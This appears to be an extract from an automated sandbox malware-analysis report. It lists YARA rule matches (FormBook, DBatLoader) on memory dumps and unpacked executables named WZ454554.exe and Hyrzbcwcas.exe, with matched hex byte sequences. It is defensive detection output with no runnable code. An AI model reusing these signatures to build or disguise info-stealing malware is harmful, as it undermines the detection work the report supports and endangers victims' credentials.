00000015.00000000.415275359.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000011.00000000.397308343.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
0000000D.00000000.342065760.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000000.362225116.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000000.361296807.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 86 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.1.Hyrzbcwcas.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
21.1.Hyrzbcwcas.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
21.1.Hyrzbcwcas.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
17.2.Hyrzbcwcas.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
17.2.Hyrzbcwcas.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
17.2.Hyrzbcwcas.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
9.2.WZ454554.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
9.2.WZ454554.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aaf7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb0a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
9.2.WZ454554.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
21.1.Hyrzbcwcas.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
21.1.Hyrzbcwcas.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aaf7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb0a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
21.1.Hyrzbcwcas.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
9.0.WZ454554.exe.400000.5.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
9.0.WZ454554.exe.400000.5.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
9.0.WZ454554.exe.400000.5.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
9.1.WZ454554.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
9.1.WZ454554.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
9.1.WZ454554.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
17.1.Hyrzbcwcas.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
17.1.Hyrzbcwcas.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aaf7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb0a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
17.1.Hyrzbcwcas.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a19:$sqlite3step: 68 34 1C 7B E1 0x17b2c:$sqlite3step: 68 34 1C 7B E1 0x17a48:$sqlite3text: 68 38 2A 90 C5 0x17b6d:$sqlite3text: 68 38 2A 90 C5 0x17a5b:$sqlite3blob: 68 53 D8 7F 8C 0x17b83:$sqlite3blob: 68 53 D8 7F 8C
17.1.Hyrzbcwcas.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
17.1.Hyrzbcwcas.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
17.1.Hyrzbcwcas.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
21.0.Hyrzbcwcas.exe.400000.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
14.0.Hyrzbcwcas.exe.400000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
21.0.Hyrzbcwcas.exe.400000.3.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
14.0.Hyrzbcwcas.exe.400000.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
9.0.WZ454554.exe.400000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
21.2.Hyrzbcwcas.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
